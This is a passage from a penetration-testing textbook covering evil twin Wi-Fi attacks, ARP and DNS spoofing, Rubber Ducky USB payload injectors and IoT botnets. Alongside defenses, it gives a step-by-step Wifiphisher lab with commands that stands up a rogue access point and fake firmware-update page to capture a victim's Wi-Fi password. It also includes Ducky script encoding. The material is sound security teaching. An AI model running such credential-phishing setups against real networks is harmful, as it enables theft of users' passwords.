against unsuspecting victims. Many hackers will set up cloned versions of real Wi-Fi access
points and have the victim log into the fake access point through a cloned landing page. An
unauthorized access point not controlled by the network admin is called a rogue access
point. After the victim connects to the evil twin, they are redirected to a fake landing page
prompting them for credentials. When the victim logs into the landing page, the attacker
begins harvesting the victim's username and password. Attackers will also sometimes hide
a payload within the Accept terms button on a fake Wi-Fi landing page.
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Once the victim clicks the button, the payload is activated and the hacker takes remote
access control over the victim's device. Hackers can also easily create an evil twin out of a
smartphone or any smart device capable of an internet connection. For example, a hacker
could find a legitimate Wi-Fi hotspot and get close enough so their smartphone discovers
the service set identifier (SSID-name of the access point) and the radio frequency of the
hotspot. This information will be used to setup an evil twin attack. The attacker will clone
the details of the real hotspot, and use that information to create the fake one. Most evil
twins are not detected. After the rogue access point has been put in place, the landing page
will be constructed. Users will be redirected to this landing page. After the landing page is
up, the attacker will deauthenicate the users on the legitimate wireless network. The users
will be forced to reconnect to the evil twin access point. Once the evil twin has enough
users, a hacker will begin to launch various MITM attacks. As mentioned earlier, a favorite
place hackers like to hide payloads is in the buttons on a Wi-Fi landing page. Just like access
points, hackers can easily clone landing pages and websites to manipulate the user into
believing the evil twin is a legitimate access point with a real landing page. Social
engineering is often used to make evil twin attacks more effective.

What is address spoofing?
In cyber security, address spoofing is the act of disguising a MAC and or LAN IP address to
appear to belong to another device. For example, hackers will often spoof their MAC
address to disguise their device on a targeted network. By spoofing their MAC address to
match a device found on the network, a hacker can blend in as that device. Hackers will also
spoof their devices to make it harder for cyber security professionals to determine the origin
of attack and what devices were involved. By sending spoofed ARP messages, hackers can
manipulate the ARP table. Spoofed ARP messages will allow the attacker's MAC address to
be associated with a MAC address of a victim host. Spoofing ARP messages is also known
as ARP poisoning. Sometimes, hackers will use ARP poisoning to cause the network to stop
communicating. When the ARP table becomes too corrupted, the network no longer knows
where to send packets. Packets are dropped from the network until communication has
stopped. This is known as a DOS attack using ARP poisoning. It is important to remember
that ARP requests are sent out as continuous beacons, attempting to resolve the MAC
address to the correct host IP. When the ARP request receives a response, it is added to the
ARP table. Any new ARP responses automatically overwrite the previous response. This is
one of the major vulnerabilities found within ARP. There is no authentication with ARP, it
is a stateless protocol. Remember that ARP is used to resolve internet layer addresses (LAN
IP) into link layer addresses(MAC). ARP spoofing continues to be a major problem for
networks.



Evil Twins and Spoofing

[ 218 ]

There are a few ways to protect against this type of attack. The first defense method is, to
use static read-only ARP entries in the APR cache of a host. This allows hosts to ignore all
new ARP replies. Any new host that joins the network must be added manually to the ARP
table using a static entry. Although time communing and inconvenient, this defense method
is effective in stopping most small scale ARP spoofing attempts. The second defense
method is to use software that detects ARP spoofing. The purpose of the software is to
certify that the ARP response is legitimate. If the response is uncertified, the ARP response
is blocked from the network. This type of software is often used in combination with the
DHCP server, to allow for both static and dynamic addresses to be quickly certified. The
third defense method against ARP spoofing is using intrusion detection systems like Snort.
Snort has a preprocessor called arpspoof, that can perform basic analysis of addresses for
any malicious behavior. Another great tool to use to detect ARP spoofing is called XArp.
This tool preforms passive checks and actively sends out probes to monitor for malicious
behavior. XArp has two main GUI based interfaces. The first interface is called the normal
view. This interface comes with pre-configured security settings and levels. The second
interface is called the pro view. This interface comes with pre-configured detection tools
and active validation. It is important to remember that when multiple IPs are associated
with a single MAC address it could be a sign of ARP spoofing.

What is DNS spoofing?
DNS spoofing is the manipulation of the DNS resolver cache by inputting corrupted DNS
data. This causes the DNS server to send the user the wrong IP, redirecting the victim to the
attacker's fake domain. When launching evil twin attacks, attackers will often use DNS
spoofing to redirect the victim to a cloned landing page or website. This leads to setting up
the victim for a MITM attack. DNS cache poisoning is a popular method hackers use to
spoof DNS quickly and efficiently. Most users on the same wireless network will usually
share the same DNS cache provided by the ISP DNS server. When users are logged on the
evil twin, a hacker can easily inject a spoofed DNS record into the DNS cache changing the
DNS record for all users on the fake network. When any user logs into the evil twin they
will be redirected by the spoofed DNS record injected into the cache. Remember, the DNS
cache is what updates all the DNS records for any user of the wireless network. Getting the
DNS cache to accept a spoofed record is the main objective of DNS poisoning. Some ways to
defend against DNS spoofing are packet filtering, cryptographic protocols, and spoofing
detection software such as EvilAP_Defender. Using packet filtering is good, because
packets with conflicting addresses can be easily blocked. This is a great first line defense
method. Make sure network communication is secure.
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Use cryptographic network protocols such as TLS, SSL, and SSH to protect sensitive
network traffic. The best defense method is to use spoofing detection software such as
EvilAP_defender. Detection tools offer the fastest alerts to spoofing and evil twins. Using
intrusion detection systems like Snort can also be a big help. Snort can be configured to alert
the cyber security team of any spoofing attempt on the network. Having quick and reliable
alerts can make all the difference in protecting a wireless network from spoofing attacks.

What tools are used for setting up an evil twin?
The tools used to create evil twins are airmon-ng, airbase-ng, and aireplay-ng. These
tools are part of the aircrack-ng suit that we covered in previous chapters. It is 
recommended to use an alpha adapter (wireless adapter) when using these tools.

The following screenshot show a screenshot from airmon-ng setting up an evil twin access
point:
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airmon-ng is used for the enumeration of the target wireless access point. airbase-ng is
used to create the clone or twin of the real access point. aireplay-ng has two main
functions in this role. The first is to send the deauthenication frame to the client on the
targeted network, forcing the client off the network. The second function is to send a strong
wireless signal broadcasting the rogue access point. Sending out a stronger Wi-Fi signal
than the real access point forces the client to automatically connect to the evil twin. When
the client is kicked off the network by the deauth frame, they are forced to reauthenticate to
get back on the network. It is during this process that the hacker will be able to steal the
password to access the real wireless access point. The victim device will attempt to
authenticate itself by using the TCP 3-way handshake with the evil twin. By doing this, the
victim revels the password to the attacker.

Another popular tool that is used for creating evil twins is called infernal-twin. This tool
comes with many great features. It has a GUI based interface and wireless security
assessment suit. It has powerful built-in modules, such as SSL strip, network mapping,
wireless social engineering, and MITM. Infernal-twin uses the Apache server to host the
fake login page for the evil twin access point. This tool is also capable of WEP, WPA2, and
WPA2 Enterprise password cracking. Infernal-twin often comes built-in with Kali Linux. It
can also be found on GitHub and installed using the git-clone command in Kali Linux.
Infernal-twin is an open source project that is highly supported and constantly being
improved upon.

The following screenshot shows the interface of another powerful tool used for evil twin
attacks called 3vilTwin WiFi Attacker:
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The next evil twin tool we will discuss is called fluxion. This tool works like the other evil
twin tools, but with a few differences. Fluxion uses an MDK3 process, to deauthenicate
users from the targeted network. Fluxion also sets up a fake DNS server. The fake DNS
server captures all DNS requests and redirects them to a host running the fluxion DNS
redirect script. Fluxion uses a captive portal to serve as the landing page of the evil twin.
The page will ask the user to input their credentials to login to the wireless network.
Another automated script can be used to end the evil twin attack once the correct password
has been submitted by the user. It is important, as a cyber security professional, to become
familiar with these tools and understand how they function. It is important to know that
cyber security teams commonly create honeypots to misdirect potential attackers away from
real targets. Evil twins are the Wi-Fi equivalent of honeypots. The only difference is how
they are applied. Honeypots often contain fake valuable data that appears to be legitimate.
This entices the attacker into accessing the honeypot, allowing network security analysts to
monitor the behavior of the attacker. The network security team will also attempt to
enumerate the attacker's device. The information gained from the honeypot could be used
to track the attacker down to a physical location. The goal of the evil twin is to misdirect the
victim from the real wireless access point, and force them to login to the fake one. The same
type of misdirection and manipulation is used by both, but for different objectives.

Next, we will conduct a lab on how to use Wifiphisher to setup an evil twin access point to
capture the password of a wireless network. For this lab, we recommend using Kali Linux
running in a VM as the attacker and two alpha adapters (wireless adapters we used in
previous labs). For the victim device, we are using a Windows 7 desktop. The goal of this
lab is to manipulate the victim device into logging into the evil twin access point to capture
the login credentials for the targeted wireless network:

The first step is to download and install Wifiphisher. Go to GitHub.com and type1.
wifiphisher or enter the following URL into your browser: h t t p s ://g i t h u b . c o

m /w i f i p h i s h e r /w i f i p h i s h e r .

Next, click on the green Clone or download button on the GitHub
Wifiphisher page. Copy the cloned address into your clipboard (CRTL + C).
Open a Terminal in Kali Linux and type the following command: git clone
https://github.com/wifiphisher/wifiphisher.git. The cloning
process should only take a few minutes to complete. The following
screenshot displays what screen you will see for step one:
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Next, we need to build and install the file packages. Open a Terminal and type2.
the following command from the /root directory: cd wifiphisher.
In the wifiphisher directory type ls and locate the wifiphisher.py file. Then3.
type, sudo python setup.py install. If prompted to install any other
dependencies select yes and continue.

The following screenshot displays what screen you will see at step three:

Once installation is complete, we will need to attach both alpha adapters to the4.
Kali Linux attacking machine. One adapter should be on wlan0 interface to host
rogue AP and the other on the wlan1 interface to deauthenicate clients and keep
them from being able to login into the legitimate AP.
Make sure you are not connected to any networks and then start Wifiphisher.5.
From the /root directory, type the following command, wifiphisher - -6.
help. This will bring up the help page showing the command options and syntax
format.
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The following screenshot displays what the help page will look like:

Next, we will run the tool by typing, wifiphisher -aI wlan0 -jI wlan1 (if7.
you only have one adapter, replace the -jI wlan1 with - -nojamming. This
way you can scan for target networks and host rogue AP on wlan0. Using - -
nojamming, you will need to manually disconnect victim device and reconnect it
instead of using the other adapter to deauthenicate.



Evil Twins and Spoofing

[ 224 ]

Next you will see a list of wireless APs to choose from. Highlight the one you8.
want by using the up and down arrows. Press Enter to select the AP.

The following screenshot displays the screen you will see when scanning
APs:

After the AP is selected, we will select the attack method. For this lab, we will9.
select the option for the fake firmware update. The update page will pop up
when the victim device connects to the rogue AP and opens a browser.

The following screenshot displays what the attack options page will look like:

Next, have the victim device connect to the rogue AP (you can do this manually if10.
deauth is not working properly).
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Once the victim machine is connected (to rogue AP), open a browser. The11.
following screenshot displays what the screen will look like when victim devices
are connected to the rogue AP:

The firmware update page will automatically open when the browser starts. The12.
update page will ask the victim to enter the credentials for the real AP to continue
with update.

The following screenshot displays what the firmware update page will look
like to the victim:
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Once the victim enters their credentials, switch back to the Kali Linux machine13.
and, from the Wifiphisher Terminal press, CTRL + z to stop the attack and view
the captured password.
Congratulations, you have successfully captured a wireless password using the14.
MITMF.

The following screenshot displays the page containing the captured
password:

The dangers of public Wi-Fi and evil twins
As we learned earlier in the chapter, access points aren't always what they seem to be. It is
easy for an attacker to create a rogue access point identical to the real one. We will discuss
some dangers of using public Wi-Fi. One of the biggest dangers of using pubic Wi-Fi is lack
of awareness. Most users of public Wi-Fi aren't even aware of the existence of evil twins.
Many people use public Wi-Fi to conduct banking transactions, purchase items from an
online store, and login to e-mail accounts. These actions can lead to personal information
being stolen. Most users will never know if they have ever been logged into a rogue access
point. Many public Wi-Fi users are also not aware that a virus can be hidden in the buttons
on the fake landing page. By clicking Accept terms on the landing page, a victim could be
giving remote access control of their device to a hacker. By not using public Wi-Fi to
transmit personal information, users can prevent the theft of their data.

Another danger to of using public Wi-Fi is the lack of encryption used to secure network
traffic. Unlike virtual private networks (VPNs), public Wi-Fi hotspots often do not use any
type of encryption. By not encrypting network traffic, hackers can steal data and quickly
use it because the data not need to be decrypted. Many cyber security experts suggest using
a VPN instead of public Wi-Fi for this reason. As mentioned earlier, hackers can use landing
pages to deliver viruses. Many companies feel that adding a landing page for authentication
is a good security measure to take.
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Unfortunately, as we learned, hackers can easily clone the real landing page and redirect
users to the fake one when they login to the evil twin. The landing page for public wireless
access points does not offer added security. Instead, it offers an additional attack vector for
hackers to use for payload delivery. As a cyber security professional, it is important to
remember this when auditing wireless networks for vulnerabilities. Next, we will discuss
various methods that can be used to detect evil twins on a wireless network.

How to detect an evil twin?
Now that we have a better understanding of what an evil twin is, we can now discuss how
to detect them. One of the best evil twin detection tools is called EvilAP_Defender. This
tool helps cyber security teams detect and prevent evil twins from attacking users of the
wireless network. When EvilAP_Defender detects an evil twin, a notification is sent to
your e-mail. When a rogue access point is discovered EvilAP_Defender can execute a DoS
attack on users to prevent them from connecting to the rogue access point. The DoS attacks
allows for more time to plan a more calculated response to end the evil twin attack. The
DoS attack will only target SSIDs with the same name as the real access point. To detect evil
twins, EvilAP_Defender uses specific criteria. EvilAP_Defender will scan for access
points with the same BSSID as the real access point. Next, the attributes of both access
points will be compared. The tool will look at the channel, authentication protocol, and the
type of ciphers being used. If one of the attributes do not match the known configuration, a
notification is sent via e-mail to the cyber security team. The e-mail will alert the team of a
possible evil twin attack. EvilAP_Defender has three main modes. The first mode is called
learning mode. This mode scans for available wireless networks. Next, a list will be
presented with all the wireless networks in range. Whitelists can be used to organize
trusted access points with confirmed attributes. Before the next mode can be used, the real
access point must be added to the whitelist. The next step is to configure the preventive
mode. The first option that must be set is the deauthenication time. It should be set to a
number bigger than zero. Setting the deauthenication time to zero will disable preventive
mode. This tool will also attack the first evil twin set in the deauthenication time. Once the
time expires, it will move onto the second evil twin access point detected and continue until
it stops detecting evil twins. It is recommended to set the deauthenication time to ten
seconds. The third mode is called normal mode. This mode scans for evil twins that do not
have the same attributes as the legitimate access point. Once an evil twin is found, a
notification is sent to the cyber security team. EvilAP_Defender is a highly-supported tool,
updated regularly with new features to enhance its effectiveness. This tool works great with
Kali Linux and can be cloned from GitHub for an easy install. Being able to use evil twin
detection tools is an excellent skill to have as a cyber security professional.
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Summary
After reading this chapter, you should now have a much better understanding of evil twins,
address spoofing, rogue access points, and methods used to detect evil twin attacks.
Unprotected wireless networks continue to be a favorite attack vector for hackers around
the world. As we learned earlier in the chapter, most public wireless networks do not use
encryption to secure network communication. That is why using virtual private networks is
a much better option when using wireless networks. It is important to remember that even
VPNs are vulnerable to evil twins, because if you use a VPN on public Wi-Fi you must first
connect to the access point before logging into the VPN (using VPN software). If you log in
to an evil twin, you could be giving the attacker access to your VPN credentials. It is best
practice to never conduct any business on a public wireless network that involves personal
information. This chapter also discussed how you can use tools like EvilAP_Defender to
detect evil twins. It would be wise to practice with this tool and others like it. Having the
knowledge and skill to detect evil twins will help you stand out as a cyber security
professional. We also discussed different scenarios involving evil twins and MITM attacks.
This was done to help create a better understanding of real world situations cyber security
teams face in the field. In Chapter 13, Injectable Devices, we will discuss how USB payload
injectors work and how to defend against this type of attack.
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Injectable Devices

In this chapter the topics covered will be:

Explaining what the Rubber Ducky is
How to upload the Rubber Ducky payload onto a victim machine
How to use simple Ducky module

Don't be fooled by the innocent name. This tool is one of the most well known USB payload
injectors in the market for penetration testers and ethical hackers. It's simplistic, yet highly
effective, for delivering keystroke injections. First, you get a better fundamental
understanding of USB and flash drive then see what possible threats can be involved with a
scenario. The first injectable device that you will learn about is the Rubber Ducky, however
that's not the only device that will be mentioned as a payload injection tool. Some tools are
for key grabbing while others are for delivery of malicious programs or to find personal and
confidential data. Security tools and tips and why they are so important to know in regard
to the protection from this vector of intrusion as well as what can be done in summary.

A deeper look into USB
Before we start toying with any injectable device, let's refresh on some what the
development and functions of a universal serial board. Around the mid-1990s, several of the
leading tech companies joined forces to create a more reliable, efficient means of connecting
personal computers with external electronics with more feasibility and streamlining better
transfer rate, with less configuration to be dealt with from previous standards (like the PS/2
connectors). This led to several changes for other peripherals and network development.
We could classify them into four different categories. Input peripherals would be your
keyboard and mice or even a scanner and output devices such as speakers and printers.
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One USB device worth mentioning is the USB hub with its main purpose for providing an
extension for a single port expansion into multiple ports allowing multiple functions to be
connected at the same time as it operates logically with a bus system. Devices that fall under
communication could include a microphone or webcam. The last is for storage purpose,
which includes the flash drive, external hard drive, and CD drives. The one we'll
particularly focus on is the USB MSC/UMS providing efficiency as a external hard drive for
transferring files between computers. The modern flash drive that you would normally see
most folks using for data storage, file backup or data transfer is usually contained in a
durable case that may come in various designs, but they'll all serve the same purpose. These
quickly replaced the floppy disc, which had a lot of downside from requiring an optical
reader, lower storage, reliability and that it can be harm electromagnetic interference. The
USB connection may also acts as the power supply to peripheral devices. Most should have
a type-A male connection, which is standard for USB drives and all dominating operating
system. It's not uncommon to see that portable digital storage is more integrated than you
may think.

Following is an image of a USB flash drive:

A USB has a micro-controller, in a flash you may see a small part that's the closer to the
connecter which is the firmware controller and the most easily seen component is the mass
storage. There are multiple steps that occur when your USB can initialize with a port. For a
USB device, the moment it first fully connects with universal plug and play, the device is
provided power which then starts up the firmware. The response with a request to set
address, in return the device descriptor is provided and the driver is then loaded with the
configurations syncing. It is possible to get a device with multiple descriptors (such as mic
and cam) if there are multiple functions that flows through that single USB. In simple
words, the descriptor is what tells that host what the device is.
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A possible threat
Let's assume you work for a company that's recruiting new hires and that the potential
candidate will be interviewed at the corporate office. One of the people who's about to be
interviewed claim that he was in a rush and had forgotten to print out his resume but he
has a copy on his USB drive and asks for the secretary to print it out or for the hiring
manager to view the document on his or her computer at the office. Most people don't
know that when they stick a thumb drive in a device, it could lead to the end of their career.
It can also cause collateral damage to the company. It's scary to think about these
possibilities happening in modern times but there is real incident that unfortunate occurs.
With security in the world of information technology, you can definitely take to heart that
"Things aren't always what they seem to be". This attack vector is a favorite scheme for
corporate espionage to steal confidential data, DoS/DDoSing the system, or delivering a
backdoor for later access. Why you should consider learning about this device can be
essential strengthening your PC or network and handling mitigation from potential threats
through a payload injector.

An evil USB
So how can you turn a USB into something else than what's it's known for? well first off, we
Search for a copy of the firmware and a software online that could let us flash it. You can
run Wireshark to scan while an update is being performed. Now, we upload what we got
into a dissembler and begin looking for patterns. Known bits/hexes that identify the
descriptor is a good place to start, but then you match functions beginnings and call
instruction for different storage points. Then we continue reverse engineering the firmware
to find hooking spots that allows us to add changes or more functionality to the firmware.
To completely patch the firmware with your customization, you may need to run a custom
script to compile the code written in C and assembly code that will inject into the free space
within the original firmware. Anyone could repeat these steps and approach to creating
custom evil devices with other peripherals. Who knows what's capable and what's not?
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How does the Rubber Ducky work?
It may look like an ordinary USB on the outside, but in its core the device is composed of a
micro SD slot placement which can be pre-programmed to deliver a payload as the device
disguises itself as a keyboard human interface device (HID). Linux, Macs, Windows, and
mobile Android devices are all potential platforms for the Rubber Ducky to infiltrate, as
most standards are now HID compatible for simple plug-and-play. There is also a small
button on the board to replay for another attack, saving you time from having to rescript
the same attack on the micro SD . The Rubber ducky device includes a case to mask the
device as any other USB storage commonly seen achieving promiscuity almost effortlessly.
There are plenty of resources available as we consider what some of its capabilities are.

There are already plenty of pre-made attacks that are given freely to use (with permission
and caution of course) you can find the following at Hack5darren GitHub's page. This list
gets updated with even more payloads, so always be sure to check or create your own
custom script to contribute. Duckyscript is the language used to create the payload which
you can use with any text editor. Don't panic if you have no prior programming experience,
the syntax is pretty basic with a few rules. First, use all caps for commands and each new
command will have to occupy the next line. The command REM allows you to write notes or
details which won't run the strings vice versa using STRING will process whatever
characters you provide. The DELAY comes in handy when more time is needed before
processing the next command or if you need to repeat the last times your given input you
can REPLAY followed by whatever number you want it to repeat. To simulate using the
Windows-Key which provides a Run menu GUI r command. With the SHIFT command
you have option parameters from navigating to deleting. The ALT and CTRL both also have
various options. Using the arrow keys are pretty basic up, down , left, and right.

The following is a sample payload that would open notepad and text out Hello World!!!,
as you can see, the script it fairly to create. The reason we add intervals of delays with the
given set of commands (which is measured in milliseconds) is so we can give a little bit of
time for that command to process before moving on to the next.
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The following screenshot show what the Rubber Ducky looks like:

The following script can be broken down by: first, giving a three second delay so that the
operating system has time to sync up with the device. Next, we simulated pressing the
windows key with GUI and the r represent the Run menu, after another short delay for it to
process, we inputted the characters to run our program which was notepad. Give it another
delay to process and enter before providing the set of string characters you want to write
out on notepad:

DELAY 3000

GUI r

DELAY 500

STRING notepad

DELAY 500

ENTER

DELAY 500

STRING Hi There! :)

ENTER

There are some more commands and options but with this you can explore and refer to the
Duckyscripts GitHub page for more details. Let's go ahead and compile the above script so
that we can upload it on the USB to be ready for use. Ducky encoder is a cross platform
encoder running on Java, it is used to compose a hex file of the script which you will need
to rename to inject.bin and placed in the microSD roots folder. Following is an example
of compilation on a Linux:

java -jar duckencoder.jar -i payload.txt -o /media/microsdcard/inject.bin
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The following screenshot displays what the Ducky-Flasher looks like:

The tool runs great using Kali Linux

Disabling ports
It is possible, if you want to, to disable a USB port on your laptop or PC so that no external
device can gain entry through this. If you have a Windows OS, then you can manually
disable/re-enable through the registry editor. Start by opening the Run menu and search for
the registry by inputting regedit. As you run or hit enter the Windows registry editor
should pop up and go ahead and navigate to the following folder:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR

Now find start DWORD and press Start on it so that we can edit the value changing it to 4
and submitting OK finally close it out of the registry window and any flash drive inserted
into the port will no longer initiate.
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A KeyGrabber?
Basically, a KeyGrabber is a physical device that's developed for keylogging. A keylogger
can be a piece software or hardware, that's been installed unaware to a host system with the
main objective of recording any data that's been pressed on the host actual keyboard while
that person is unaware. Since most hid itself as HIDs, using universal plug and play to its
advantage to appear invisible' even for AV running on the OS and international formats.
Since we are focusing on hardware-based attacks, it doesn't require any additional software
or drivers. There are various ones provided from PS/2, USB Nano, to a wireless grabber that
would send or stream data to your email with having to go back to collect the device once
it's planted.

What the glitch?
The glitch is actually another hardware payload injection tool. This advanced tool is also
small in size but packs advanced features. Now, with this tool it is possible to rewrite the
programs to customize them. It has compatibility with the Arduino (which are micro-
controllers for electronic application) along with implementation Wi-Fi, Bluetooth, and
ZigBee. The software provided for the device is open-source to developers with interest to
expand the potential of the glitch. With various projects and 30 payloads provided, starting
out with the device does not require extensive knowledge of the hardware or software
specification or programming. Their stocked firmware also makes it easy for users to begin
with detailed documentation you can find online. Currently (as of this text) the firmware is
compatible with Windows or Linux. There is a micro USB socket provided as standard for
connecting the device, however you are also provided with USB pads to bridge the
connection with another peripheral. Keep in mind that using the pads is only recommended
for connecting the glitch with another host permanently as soldering is required in the
process of rewiring and embedded it with other electronics. Similarly to the Rubber Ducky,
the open project is used for keystroke injection, delivering various scripts and payloads.
Other capabilities include keylogging, embedding, and even being controlled over
bluetooth.
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Summary
After finishing this chapter, the reader now has a solid understanding of what injectable
devices are, how they work, and how to identify USB vulnerabilities. It is important to
remember the technical aspects of USB technology, so you can get a better understanding of
its vulnerabilities. This chapter also discussed what a Rubber Ducky is and how it's used.
The reader should now be familiar with the format of Rubber Ducky scripts and how to
encode the Ducky payloads. It is recommended, if you use a Rubber Ducky, to exercise
caution and responsibility at all times. This is a powerful tool that should be treated with
respect. We strongly discourage using the knowledge we have provided throughout this
chapter for any illegal or malicious activity. The KeyGrabber is also a tool that should
always be used responsibly. This chapter provided an excellent defense method against
injectable devices, by disabling USB ports. We ended the chapter discussing the glitch. As
we discussed earlier, the glitch is another payload injection tool. Having knowledge on
these tools will help the reader advance their skills in cyber security. In Chapter 14,
The Internet of Things, we will focus on the Internet of Things. We will discuss what IoT is,
how it functions, its vulnerabilities, and overall impact on cyber security.
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The Internet of Things

In this chapter, we will discuss the Internet of Things (IoT) and how this emerging
technological concept has changed network communication. This chapter will define what
the IoT is and how it functions. Next, we will talk about how cyber security has changed
because of the IoT. We will then move on to exploring the vulnerabilities of the IoT. We
want the readers to be able to understand how botnets are being enhanced tremendously by
the IoT. This chapter will also cover how the Mirai botnet has impacted network security.
The next topics we will elaborate on are, the IoT's role in home automation, wearable
devices, medical equipment, drones, driverless cars, and smart cities. After reading this
chapter, the reader will acquire a solid understanding of what the IoT is and how it is
changing the world.

What is the Internet of Things?
The IoT is changing the way we travel, purchase items, and provide energy to structures.
According to BI Intelligence, the IoT can be defined as, "a network of internet-connected objects
able to collect and exchange data." Complex sensors and chips are embedded in devices or
things that surround us every day. These sensors and chips collect data from the devices.
The data generated from the device is sent to a gateway, which sends it to the internet. The
data is then sent to a storage location like a cloud server to be analyzed. After the analytics
process, the refined data is sent to an IoT application. The applications use the data to
address industry specific needs. IoT platforms provide a common language for sensors and
actuators embedded in devices to communicate with IoT applications. Many platforms use
cloud technology to integrate data from many devices. Platforms are also used to develop
supporting IoT applications.
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The number and variety of devices being embedded with IoT capability is astounding.
Some of these devices include drones, driverless cars, washing machines, coffee makers,
thermostats, medical equipment, watches, and more. It has been estimated by the analyst
firm Gartner, "by the year 2020 there will be over 26 billion devices connected with IoT". This is
considered a conservative estimate by other analysts.

There are three main sectors of the IoT. The first sector is the enterprise sector, sometimes
called Enterprise Internet of Things (EIoT). The EIoT connects systems that collect,
analyze, exchange and deliver information. This enables companies to make decisions faster
and smarter. The ELoT is the largest IoT. According to Business Insider, "By 2019, the EIoT
sector is estimated to account for nearly 40% or 9.1 billion devices." The other sectors are
called the home sector and the government sector. The home sector is concerned with your
personal devices and home. An example of a home IoT would be a home thermostat
communicating with your mobile device so you can adjust the temperature of your home
without being home. The government sector IoT are used to connect various devices
controlled by a government entity. An example of this would be traffic lights; if a city has
all or most of its traffic lights communicating with each other you can analyze and adjust
the lights to account for changing traffic patterns. The frameworks of the IoT have
developed rapidly over the last several years. These advancements have helped expand the
capabilities of real-time data logging solutions. New IoT frameworks have also been able to
efficiently support advanced system models like, distributed computing.

As we discussed earlier, many devices are now built with the IoT enabled. It is important to
have a stable supporting network for communication between devices, IoT applications,
and servers. A good example of how the IoT functions is examine how it is applied in the
automotive industry. For example, when a car is low on tire pressure an alert will be sent
from a sensor. The alerts are gathered by a diagnostic bus and sent to a gateway in the car.
The gateway sorts the data for the most relevant information to be sent to the car
manufacturer. The gateway establishes a secure connection with the manufacturer's
platform and identifies which thing the data is coming from. The data is sent over the
internet and stored on a cloud server. An IoT application called the access management
system is created by the platform to manage the data from the car sensors. The application
uses the data collected from the car to send the driver an alert to their phone. The alert
recommends an appointment time for a tire inspection. It is important to remember the
platform acts like an operating system, allowing sensors and applications to communicate.
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IOT vulnerabilities and cyber security
The impact of the IoT has been revolutionary. It has brought great benefits, but also serious
problems. More personal data than ever before now exists on cloud servers. Privacy has
become a serious concern. An awareness project created by the Open Web Application
Security Project (OWASP), addresses ten problems found in IoT security. The first problem
is the insecure web interface. Not having a secure web interface can lead to data loss,
corruption, and compromised devices. Many web interfaces are intended to be on an
internal network. This causes threats to be unexpected and security ignored. Most expect an
attack to come from an external source.

As we learned in earlier chapters, attacks can come from internal uses just as easy as
external ones. The second security problem is insufficient authentication. This can lead to
data theft and credential harvesting, and allow attacker to take over devices/accounts of
users. It is recommended to enforce strong password complexity, require two-factor
authentication, implement secure password recovery, and secure privilege escalation. The
following screenshot is from OWASP IoT open-source security project, demonstrating two
attack scenarios:

The third IoT security issue is insecure network services. Having vulnerable services can
lead to buffer overflow attacks. Attackers can also get through on open ports using UPnP.
DoS attacks can also be carried out by network device fuzzing. Making sure network
services are secure can help prevent these kinds of attacks.
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The following screenshot demonstrates some attack examples:

The fourth security vulnerability with IoT is the lack of transport encryption. Most IoT
devices have poorly implemented SSL/TLS or have it misconfigured. Most IoT
communication is unencrypted. It is recommended to review all network traffic of the
device, the application it interacts with, and any cloud connections. This is done to see if
any information is passed in clear text, making it vulnerable for theft. It is smart to always
use SSL/TLS for network communication and make sure it is correctly implemented. The
fifth issue with IoT is the lack of privacy. Many people feel that devices using the IoT are
collecting unnecessary personal information. It is recommended that companies limit access
to personal information that is collected and only allow devices to collect data necessary for
them to function. A major fear is that personal information may be easily exposed if not
kept securely. The sixth issue for IoT security is having an insecure cloud interface. By
having an insecure interface, attacks can perform account enumeration on unsuspecting
customers of that device. It is important to make sure the interface is not vulnerable to
cross-scripting attacks. As we discussed in earlier chapter, XSS attacks can be highly
effective. Being open to SQL injection attacks is another vulnerability of an insecure
interface. Using input sanitation for the text fields and disabling error-reporting in the
MySQL database will help. The seventh issue facing IoT is having an insecure mobile
application interface. This issues presents the same problems of not having a secure cloud
interface. Often having poor password recovery methods will expose user credentials in
plain text within network traffic. Using two-factor authentication is a good way to secure
user credentials and have secure recovery options.
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The following screenshot demonstrates two password attack examples:

The eighth problem in IoT is not having sufficient security configurability. Many IoT
devices lack proper security monitoring, logging, password options, and granular
permission models. It is recommended to have more administrative security options for the
IoT device being used. For example, giving the admin the option to enforce a strong
security policy will help protect user credentials. The ninth security issue facing IoT is
having insecure firmware updates. By not using encryption to get updates, a user is open to
attack. Also, not verifying the file before upload can leave the user vulnerable to attack. It is
recommended that the IoT device is reviewed for proper validation of signed, updated files.
The tenth security issue with IoT security is having poor physical security. If an attack has
access to the software through unprotected USB ports, then they could use a payload
injector for an attack. As we discussed in earlier chapters, USB payload injectors can be a
common type of attack method hackers use to gain access to a device or network. It is
recommended to disable any USB ports that are not vital for the device to function. It is also
recommended to limit access to USB ports to administrators only. Now that we have
discussed some security problems facing IoT, we can begin to understand how hackers are
using these vulnerabilities.
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The following screenshot demonstrates two physical attack examples:

Next, we will discuss how hackers are taking advantage of weak IoT security to create
botnets.

IOT and botnets
Networks around the world are continually plagued by DDoS attacks. These types of
attacks can be devastating to a business, costing them millions of dollars in some cases.
Botnets are often used by hackers to launch DDoS attacks. Remember, botnets are
compromised devices remotely controlled by a hacker through a C&C server. Think of a bot
as a zombie machine. A group of bots or zombies is called a botnet. Until recently, botnets
have usually been compromised of desktop or laptop devices taken over on large enterprise
networks. The larger the botnet, the more effective it is in launching DDoS attacks. The IoT
has changed how botnets are built. Any device/object embedded with IoT can become a bot.
For example, CCTV cameras have been a favorite target for hackers creating botnets. Each
camera acts as an individual node, sending data to a central node (usually a cloud server)
over the internet. The cameras use the same TCP/IP protocols as desktops and laptops do.
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Once on the same network as the cameras, a hacker could easily establish a persistent
(backdoor) reverse TCP power shell on each camera. Most CCTV cameras do not offer any
kind of security, making the infection process very easy for the hacker. CCTV cameras are
designed to allow for easy remote access for administration use. Unfortunately, hackers are
also able to take advantage of this convenience for malicious use. With home automation on
the rise, hackers have also been able to turn thermostats and appliances into bots. Smart
refrigerators, ovens, thermostats, microwaves, speakers, watches, drones, and cars have all
been used to create botnets. Each one of these devices/objects that have IoT embedded are
easily infected with remote payloads(malware). A good example of how botnets are
utilizing the IoT is the Mirai botnet. This botnet was a first of its kind. In 2016, the Mirai
botnet was used to launch the largest DDoS attack to date. It was estimated the botnet was
comprised of over 145,000 infected CCTV cameras. As of early 2017, it is still unclear who
was behind the attack. According to Chris Sullivan of Core Security Inc., "IoT devices are the
very cheap computers that we use to control the heat, lights, and baby monitor in your home or tell
UPS when a truck needs service. Unlike your PC or your phone, IoT devices don't have the memory
and processing to be secured properly, so they are easily compromised by adversaries and it's very
difficult to detect when that happens." The Mirai botnet has been used to cause major problems.
The source code of the Mirai botnet include a pre-made list of usernames and passwords for
